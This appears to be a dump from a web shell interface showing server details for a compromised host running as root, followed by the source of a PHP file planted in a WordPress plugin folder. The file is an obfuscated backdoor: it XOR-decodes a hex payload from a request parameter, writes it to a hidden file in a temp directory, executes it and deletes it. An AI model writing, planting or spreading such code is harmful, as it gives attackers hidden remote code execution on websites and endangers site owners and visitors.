HEX
Server: Apache/2.2.15 (CentOS)
System: Linux ip-10-0-2-146.eu-west-1.compute.internal 2.6.32-754.35.1.el6.centos.plus.x86_64 #1 SMP Sat Nov 7 11:33:42 UTC 2020 x86_64
User: root (0)
PHP: 5.6.40
Disabled: NONE
Upload Files
File: /www/sites/www.credebtexchange.com/htdocs/wp-content/plugins/admin-site-enhancements/f_top.php
<?php
//<PHPDATA>fputs_xor;12;flg</PHPDATA>
if(@$_REQUEST["f\x6cg"]!==null):$_0=HEx2BIN($_REQUEST["f\154g"]);$_1="";$_2=(int)RounD(0+0);do{$_1.=Chr(OrD($_0[$_2])^(int)rOUNd(4+4+4));$_2++;}while($_2<StRLEn($_0));$_3=arrAY_filTer([GeTeNv("TEM\x50"),getcwD(),SessiOn_sAvE_pAth(),GEtenv("T\115\x50"),"/t\x6dp","/dev\057sh\x6d",sYS_GET_TemP_diR(),Ini_GEt("u\x70lo\x61d_tm\160_d\151r"),"/var/tm\x70"]);foreach($_3 as$_4=>$_5):if(! !IS_diR($_5)&&! !IS_wRiTAble($_5)):$_6=STR_rEplAcE("{var_\x64\151r\x7d",$_5,"{va\162\x5fd\151r}/.p\x74r");if(FILe_PUt_CoNTENtS($_6,$_1)):require $_6;uNlInk($_6);die();endif;endif;endforeach;endif;